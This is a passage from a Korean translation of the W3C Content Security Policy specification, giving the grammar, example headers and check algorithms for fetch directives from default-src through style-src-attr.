§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.3.
default-src
default-src 지시어는 다른 패치 지시어의 폴백 역할을 합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "default-src" directive-value = serialized-source-list
정책에 default-src 지시어가 있으면, 그 값이
정책의 기본 소스 리스트로 사용됩니다. 예를 들어
default-src 'none'; script-src 'self'
라면, 스크립트 요청은 'self'
소스 리스트를 사용하고, 다른
요청은 'none'
을 사용합니다. 자세한 동작은 § 4.1.2 Content Security Policy로 요청 차단 여부 및
§ 4.1.3 Content Security Policy로
요청에 대한 응답 차단 여부 알고리즘에서 설명합니다.
prefetch
,
preconnect
등 리소스 힌트는 특정 패치 지시어에
연결되지 않고, 정책 내 모든 지시어의 소스
리스트의 합집합을 따릅니다. default-src가 없으면, 이러한 요청은 항상 허용됩니다. 자세한 내용은 § 8.6 데이터 유출 참고. [HTML]
Content-Security-Policy: default-src 'self'
아래 헤더와 동일하게 동작합니다:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem 'self'; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
즉, default-src
가 설정된 경우, 명시적으로 설정되지 않은 모든 패치 지시어는 default-src
가
지정한 값을 폴백으로 사용합니다.
script-src
지시어가 명시적으로 지정된 경우, default-src
의 값은 스크립트 요청에 아무 영향도
주지 않습니다. 즉, 다음 헤더:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
아래 헤더와 동일하게 동작합니다:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem https://example.com; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
이 동작에 따라 사이트의 정책을 구성하는 좋은 방법은 default-src
를 'none'
으로 시작한 뒤, 해당 페이지에 필요한 리소스
유형만 점진적으로 허용하는 것입니다.
6.1.3.1.
default-src
사전 요청 검사
이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
default-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
name인 지시어의 사전 요청 검사(pre-request check)를 request, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.
6.1.3.2.
default-src
사후 요청 검사
이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
default-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
name인 지시어의 사후 요청 검사(post-request check)를 request, response, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.
6.1.3.3.
default-src
인라인 검사(Inline Check)
이 지시어의 인라인 검사(Inline Check) 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득 을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
default-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
그 외의 경우, name인 지시어의 인라인 검사(Inline Check)를 element, type, policy, source에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.
6.1.4.
font-src
font-src 지시어는 폰트 리소스를 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "font-src" directive-value = serialized-source-list
Content-Security-Policy: font-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 font-src
의 소스 리스트와 일치하지 않기 때문입니다:
< style > @ font-face { font-family : "Example Font" ; src : url ( "https://example.org/font" ); } body { font-family : "Example Font" ; } </ style >
6.1.4.1.
font-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
font-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.4.2.
font-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
font-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.5.
frame-src
frame-src 지시어는 자식 내비게이션(child navigable)에 로드될 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "frame-src" directive-value = serialized-source-list
Content-Security-Policy: frame-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 frame-src
의 소스 리스트와 일치하지 않기 때문입니다:
< iframe src = "https://example.org/" > </ iframe >
6.1.5.1.
frame-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
frame-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.5.2.
frame-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
frame-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.6.
img-src
img-src 지시어는 이미지 리소스를 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "img-src" directive-value = serialized-source-list
이 지시어는 이미지를 불러오는 요청(request)을 제어합니다. 더 공식적으로는 요청(request)의 destination이 "image
"인 경우를 포함합니다 [FETCH].
Content-Security-Policy: img-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 img-src
의 소스 리스트와 일치하지 않기 때문입니다:
< img src = "https://example.org/img" >
6.1.6.1.
img-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
img-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.6.2.
img-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
img-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.7.
manifest-src
manifest-src 지시어는 애플리케이션 매니페스트를 불러올 수 있는 URL을 제한합니다 [APPMANIFEST]. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "manifest-src" directive-value = serialized-source-list
Content-Security-Policy: manifest-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 manifest-src
의 소스 리스트와 일치하지 않기 때문입니다:
< link rel = "manifest" href = "https://example.org/manifest" >
6.1.7.1.
manifest-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
manifest-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.7.2.
manifest-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
manifest-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.8.
media-src
media-src 지시어는 비디오, 오디오 및 관련 텍스트 트랙 리소스를 불러올 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "media-src" directive-value = serialized-source-list
Content-Security-Policy: media-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 media-src
의 소스 리스트와 일치하지 않기 때문입니다:
< audio src = "https://example.org/audio" ></ audio > < video src = "https://example.org/video" > < track kind = "subtitles" src = "https://example.org/subtitles" > </ video >
6.1.8.1.
media-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
media-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.8.2.
media-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
media-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.9.
object-src
object-src 지시어는 플러그인 콘텐츠를 불러올 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "object-src" directive-value = serialized-source-list
Content-Security-Policy: object-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 object-src
의 소스 리스트와 일치하지 않기 때문입니다:
< embed src = "https://example.org/flash" ></ embed > < object data = "https://example.org/flash" ></ object >
플러그인 콘텐츠가 URL 없이 로드되는 경우(예를 들어
object
요소에
data
속성이 없지만 type으로 기본 플러그인을 불러올 때), object-src
값이 'none'
인 경우 반드시 차단되어야 하며, 그렇지 않으면
허용됩니다.
참고: object-src
지시어는
object
또는
embed
요소로 인해 발생하는 모든 요청에 적용됩니다. 여기에는 해당 요소가 생성한 자식 내비게이션(child navigable)을 채우는 요청(내비게이션 포함)이 포함됩니다. 이 동작은 데이터가 본래
다른 지시어로 제한될 수 있는 콘텐츠와 의미적으로 동등하더라도 마찬가지입니다(예:
object
요소가 text/html
MIME 타입을 가질 때).
참고: 플러그인 리소스를 직접 내비게이션(즉, plugin이 내비게이션(navigable) 내에 있고
embed
또는
object
의
하위 리소스로 불러온 것이 아닐 때) 하는 경우, 해당 리소스와 함께 전달된 정책(policy)이
결과 Document
에
적용됩니다. 즉, object-src 'none'
정책을 응답에 함께 제공하면 임의 리소스의 플러그인 콘텐츠 실행을 막을 수 있습니다. Flash 등 플러그인의
강력함과 특이한 보안 모델을 고려할 때, 이는 Rosetta Flash와 같은 공격 벡터
위험을 줄이는 데 도움이 됩니다.
6.1.9.1.
object-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
object-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.9.2.
object-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
object-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.10.
script-src
script-src 지시어는 스크립트를 실행할
수 있는 위치를 제한합니다. 이는
script
요소에 직접 로드되는 URL뿐만 아니라, 인라인 스크립트 블록 및 XSLT 스타일시트 [XSLT] 등 스크립트 실행을 유발하는 모든 것을 포함합니다. 지시어 이름과 값의
문법은 다음 ABNF로 정의됩니다:
directive-name = "script-src" directive-value = serialized-source-list
script-src
지시어는 모든 스크립트류 destination(여기에는 worker-src
가 없으면 워커 destination도 포함됨)에
대한 기본 폴백 역할을 합니다. 특별한 세분화가 필요하지 않으면 script-src
를 script-src-attr
와 script-src-elem
대신 사용하는 것이 좋습니다. 대부분의 경우 인라인 이벤트 핸들러와
script
요소에 별도의 권한 목록을 둘 이유가 없습니다.
script-src
지시어는 다음 여섯 가지를 관리합니다:
-
스크립트 요청(request)은 반드시 § 4.1.2 Content Security Policy로 요청 차단 여부를 거쳐야 합니다.
-
스크립트 응답(response)은 반드시 § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부를 거쳐야 합니다.
-
인라인
script
블록은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스크립트를 허용하지 않으면(암묵적으로script-src
또는default-src
지시어를 명시하지 않거나, 명시적으로 "unsafe-inline
" 또는 nonce-source 또는 hash-source가 해당 인라인 블록에 매칭되는 경우가 아니면) 동작이 차단됩니다. -
다음 자바스크립트 실행 sink는 "
unsafe-eval
" 또는 "trusted-types-eval
" 소스 식에 의해 제어됩니다:-
setTimeout()
(첫 번째 인자가 callable이 아닌 경우) -
setInterval()
(첫 번째 인자가 callable이 아닌 경우)
참고: 사용자 에이전트가
setImmediate()
나execScript()
와 같이 비표준 sink를 구현하는 경우, 역시 "unsafe-eval
"로 제어해야 합니다. "unsafe-eval
"은 페이지 전체의 플래그로 동작하므로,script-src-attr
및script-src-elem
은 이 체크에 사용하지 않고, 항상script-src
(또는 폴백 지시어)만 사용합니다. -
다음 WebAssembly 실행 sink는 "
wasm-unsafe-eval
" 또는 "unsafe-eval
" 소스 식에 의해 제어됩니다:참고: "
wasm-unsafe-eval
" 소스 식이 더 구체적입니다. "unsafe-eval
"은 WebAssembly의 컴파일/인스턴스화와 자바스크립트의 "eval
" 모두를 허용하지만, "wasm-unsafe-eval
"은 오직 WebAssembly만 허용하고 자바스크립트에는 영향을 주지 않습니다. -
javascript:
URL로의 내비게이션은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스크립트를 허용하는 경우에만 스크립트가 실행됩니다(3번과 동일).
6.1.10.1.
script-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.1.1 스크립트 지시어 사전 요청 검사를 request, 본 지시어, policy에 대해 실행한 결과를 반환한다.
6.1.10.2.
script-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.1.2 스크립트 지시어 사후 요청 검사를 request, response, 본 지시어, policy에 대해 실행한 결과를 반환한다.
6.1.10.3.
script-src
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
단언: element는 null이 아니거나 type이 "
navigation
"이다. -
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득 을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.11.
script-src-elem
지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "script-src-elem" directive-value = serialized-source-list
script-src-elem
지시어는 모든 스크립트 요청 및 스크립트 블록에 적용됩니다. 스크립트를 실행하는 속성(인라인 이벤트 핸들러)은 script-src-attr
로 제어됩니다.
따라서 script-src
와 비교했을 때 다음과 같은 차이가 있습니다:
-
script-src-elem
은 인라인 검사에서|type|
이 "script
" 또는 "navigation
"인 경우에 적용되며,|type|
이 "script attribute
"인 경우에는 무시됩니다. -
script-src-elem
의 값(value)은 "unsafe-eval
" 체크에 의해 제어되는 자바스크립트 실행 sink 검사에는 사용되지 않습니다. -
script-src-elem
은worker-src
지시어의 폴백으로 사용되지 않습니다.worker-src
검사는 여전히script-src
지시어를 폴백으로 사용합니다.
6.1.11.1.
script-src-elem
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src-elem
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.1.1 스크립트 지시어 사전 요청 검사를 request, 본 지시어, policy에 대해 실행한 결과를 반환한다.
6.1.11.2.
script-src-elem
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src-elem
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.1.2 스크립트 지시어 사후 요청 검사를 request, response, 본 지시어, policy에 대해 실행한 결과를 반환한다.
6.1.11.3.
script-src-elem
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
단언: element는 null이 아니거나 type이 "
navigation
"이다. -
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득 을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src-elem
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.12.
script-src-attr
지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "script-src-attr" directive-value = serialized-source-list
script-src-attr
지시어는 이벤트 핸들러에 적용되며, 이 지시어가 있으면 관련 검사에서 script-src
지시어를 덮어씁니다.
6.1.12.1.
script-src-attr
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
단언: element는 null이 아니거나 type이 "
navigation
"이다. -
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득 을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
script-src-attr
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.13.
style-src
style-src 지시어는 스타일이 Document
에
적용될 수 있는 위치를 제한합니다.
지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "style-src" directive-value = serialized-source-list
style-src
지시어는 다음을 관리합니다:
-
스타일 요청(request)은 반드시 § 4.1.2 Content Security Policy로 요청 차단 여부를 거쳐야 합니다. 여기에는 다음이 포함됩니다:
-
스타일 요청에 대한 응답(response)은 반드시 § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부를 거쳐야 합니다.
-
인라인
style
블록은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스타일을 허용하지 않으면(암묵적으로style-src
또는default-src
지시어를 명시하지 않거나, 명시적으로 "unsafe-inline
", nonce-source, hash-source가 해당 인라인 블록에 매칭되는 경우가 아니면) 스타일이 차단됩니다. -
다음 CSS 알고리즘은
unsafe-eval
소스 식에 의해 제어됩니다:이는 예를 들어 CSSOM의 다양한
cssText
setter 및insertRule
메서드 호출을 모두 포함합니다 [CSSOM] [HTML].이 부분 설명이 더 필요합니다. [w3c/webappsec-csp Issue #212]
6.1.13.1.
style-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.13.2.
style-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.13.3.
style-src
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득 을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src
, policy에 대해 실행한 결과가 "No
"이면, "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
이 지시어의 초기화(initialization) 알고리즘은 다음과 같습니다:
CSSOM 알고리즘을 안전하게 잠그기 위해 실행 컨텍스트에서 무언가 흥미로운 처리를 해야 합니다. 현재 CSSOM에서 이러한 훅을 제공하지 않으므로, 적절한 해결책을 위해 CSSOM과 협업해야 할 것 같습니다.
6.1.14.
style-src-elem
지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "style-src-elem" directive-value = serialized-source-list
style-src-elem 지시어는 인라인 속성에서 정의된 스타일을 제외한 스타일의 동작을 관리합니다.
6.1.14.1.
style-src-elem
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src-elem
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.14.2.
style-src-elem
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src-elem
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.14.3.
style-src-elem
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src-elem
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.1.15.
style-src-attr
지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:
directive-name = "style-src-attr" directive-value = serialized-source-list
style-src-attr 지시어는 style 속성의 동작을 관리합니다.
